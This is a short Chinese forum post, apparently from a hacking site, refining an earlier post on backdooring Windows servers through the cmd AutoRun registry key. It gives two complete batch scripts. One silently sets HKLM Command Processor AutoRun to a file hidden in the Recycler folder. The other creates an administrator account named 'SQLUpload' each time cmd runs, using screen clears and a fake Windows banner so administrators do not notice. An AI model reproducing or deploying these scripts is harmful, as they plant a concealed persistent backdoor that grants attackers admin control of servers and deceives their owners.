小心,CMD也闹鬼 (续)


 独存,0kee.com

初中毕业水平,语言表达能力不是很强,见谅哈。


看了冰的原点的帖子:html">http://www.2cto.com/os/200710/19395.html

感觉有许多不足。
NTFS分区的回收站是:Recycler而不是Recycled
我为什么说NTFS分区呢?因为大部分服务器为了安全,都把分区给转换为了NTFS分区(我见过N多服务器,暂时没见过别的分区格式的)
而冰的原点批处理是以FAT32类型的回收站,也就是:Recycled
并且执行cmd命令后,会有命令执行完成的提示,稍微有点常识的管理员就会认识到服务器被提权鸟。

这个问题也纠缠了我半天,后来想到了清屏命令,所以就改了下批处理。


ECHO Windows Registry Editor Version 5.00>door.reg
ECHO [HKEY_LOCAL_MACHINESOFTWAREMicrosoftCommand Processor]>>door.reg
ECHO "autorun"="c:\Recycler\1.bat">>door.reg
REGEDIT /S door.reg
DEL /F /Q door.reg
copy 1.bat c:\Recycler\1.bat /Y

用记事本保存为:注册系统环境.bat

@ECHO OFF
net user SQLUpload ducun /add
cls
net localgroup administrators SQLUpload /add
cls
@ECHO Microsoft Windows 2003 [版本 5.1.2600]
@ECHO (C) 版权所有 1985-2001 Microsoft Corp.

用记事本保存为:1.bat

注意:1.bat要和注册系统环境.bat放在同一目录,这样每次运行cmd就不会提示命令执行完成了,唯一的缺点就是清屏时会有闪烁。

相关内容

    暂无相关文章